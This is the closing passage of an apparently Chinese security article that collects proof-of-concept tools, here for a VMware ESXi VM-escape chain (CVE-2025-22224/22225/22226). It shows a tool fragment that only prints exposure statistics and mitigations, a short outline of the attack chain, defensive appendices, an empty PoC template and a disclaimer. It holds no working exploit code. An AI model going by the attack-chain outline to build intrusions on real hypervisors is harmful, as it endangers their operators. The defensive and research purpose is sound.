                print(f"{Fore.CYAN}  - {item}")
        
        return True

    def check_exposure(self):
        """
        检查ESXi实例是否暴露在互联网上
        """
        print(f"{Fore.YELLOW}[•] 正在检查暴露状态...")
        
        print(f"{Fore.YELLOW}[!] 根据报告，截至2025年3月:")
        print(f"{Fore.RED}[!] 全球有超过41,500台ESXi hypervisor暴露于CVE-2025-22224")
        print(f"{Fore.RED}[!] 医疗和金融行业攻击率最高")
        print(f"{Fore.RED}[!] 平均47分钟内完成勒索软件部署")
        
        print(f"\n{Fore.CYAN}[+] 防护建议:")
        print(f"{Fore.CYAN}  1. 立即应用安全补丁")
        print(f"{Fore.CYAN}  2. 限制管理接口的外部访问")
        print(f"{Fore.CYAN}  3. 实施微分段隔离")
        print(f"{Fore.CYAN}  4. 启用日志监控和告警")
        print(f"{Fore.CYAN}  5. 定期备份重要数据")
        
        return True


def banner():
    """显示工具横幅"""
    print(f"""
{Fore.BLUE}{Style.BRIGHT
██████╗ ██████╗ ███████╗ █████╗  ██████╗ ███████╗
██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝ ██╔════╝
██████╔╝██████╔╝█████╗  ███████║██║  ███╗█████╗
██╔══██╗██╔══██╗██╔══╝  ██╔══██║██║   ██║██╔══╝
██║  ██║██║  ██║███████╗██║  ██║╚██████╔╝███████╗
╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝

╔════════════════════════════════════════════════════════════════╗
║ VMware Virtualization Vulnerabilities PoC                     ║
║ CVE ID       : CVE-2025-22224/22225/22226                     ║
║ CVSS Score   : 9.3 (Critical - CVE-2025-22224)                ║
║ Attack Vector : VM Escape + Privilege Escalation             ║
║ Affected     : ESXi, Workstation, Fusion                      ║
║ Impact       : Full System Compromise, Ransomware             ║
╚════════════════════════════════════════════════════════════════╝
{Style.RESET_ALL}""")

漏洞原理

  1. CVE-2025-22224：VMCI驱动堆溢出，允许VM内代码执行
  2. CVE-2025-22225：任意写漏洞，实现权限提升
  3. CVE-2025-22226：内存泄露，窃取凭证
  4. 攻击链：三者组合实现完整的VM逃逸

防护建议

  1. 立即补丁：应用所有安全补丁
  2. 网络隔离：限制ESXi管理接口的外部访问
  3. 微分段：实施网络微分段
  4. 监控告警：启用日志监控和威胁检测
  5. 备份策略：实施离线备份策略

附录A：通用防御策略

网络层防护

  1. Web应用防火墙（WAF）

    • 配置规则拦截常见攻击模式
    • 启用虚拟补丁功能
    • 实时更新规则库

  2. 入侵检测系统（IDS）

    • 监控异常网络流量
    • 检测已知攻击特征
    • 实施实时告警

  3. 网络分段

    • 隔离关键系统
    • 限制横向移动
    • 实施最小权限原则

应用层防护

  1. 输入验证

    • 实施白名单验证
    • 严格类型检查
    • 输出编码

  2. 身份验证

    • 多因素认证（MFA）
    • 强密码策略
    • 定期凭证轮换

  3. 权限管理

    • 最小权限原则
    • 定期权限审计
    • 访问控制列表

系统层防护

  1. 补丁管理

    • 及时安装安全补丁
    • 测试补丁兼容性
    • 建立补丁基线

  2. 日志监控

    • 启用详细日志
    • 集中日志收集
    • 实时日志分析

  3. 安全配置

    • 禁用不必要的服务
    • 加固系统配置
    • 定期安全审计

附录B：POC开发最佳实践

1. 代码规范

python

# 良好的POC代码示例
#!/usr/bin/env python3
"""
CVE-YYYY-XXXXX - Vulnerability Name PoC
Author: Security Researcher
License: MIT
"""

import argparse
import requests
from colorama import Fore, init

class VulnerabilityExploit:
    """漏洞利用类"""
    
    def __init__(self, target):
        self.target = target
        self.session = requests.Session()
    
    def check(self):
        """检测漏洞"""
        pass
    
    def exploit(self):
        """利用漏洞"""
        pass

def main():
    """主函数"""
    parser = argparse.ArgumentParser()
    parser.add_argument('url', help='目标URL')
    args = parser.parse_args()
    
    exploit = VulnerabilityExploit(args.url)
    # 执行利用...

if __name__ == "__main__":
    main()

2. 安全注意事项

  • ✅ 仅用于授权测试
  • ✅ 遵循负责任披露原则
  • ✅ 保护隐私和敏感信息
  • ✅ 提供清晰的文档和警告
  • ❌ 禁止用于恶意攻击
  • ❌ 禁止公开未修复漏洞的完整利用代码

3. 测试流程

  1. 环境准备

    • 搭建隔离的测试环境
    • 准备受影响版本的软件
    • 配置网络和防火墙

  2. 漏洞验证

    • 确认漏洞存在
    • 验证影响范围
    • 记录测试结果

  3. 清理工作

    • 删除测试数据
    • 恢复原始配置
    • 记录测试日志

附录C：资源链接

官方资源

安全社区

工具资源

结语

本文档汇总了2024-2025年度十个严重安全漏洞的POC工具，涵盖了远程代码执行、SQL注入、XSS、文件上传漏洞、虚拟化逃逸等多种漏洞类型。

重要提醒：

  1. 合法使用：确保在授权范围内使用这些工具
  2. 及时修补：发现漏洞后立即应用安全补丁
  3. 持续监控：建立完善的安全监控体系
  4. 安全意识：定期进行安全培训和演练

免责声明：

本文档仅供安全研究和授权渗透测试使用。作者不对任何滥用行为负责。使用本文档内容的个人和组织应遵守所在地区的法律法规。

文档版本: 1.0最后更新: 2026年2月14日作者: Security Research Team

本文档遵循负责任披露原则，所有POC代码仅用于教育目的。

avatar
文章
阅读
粉丝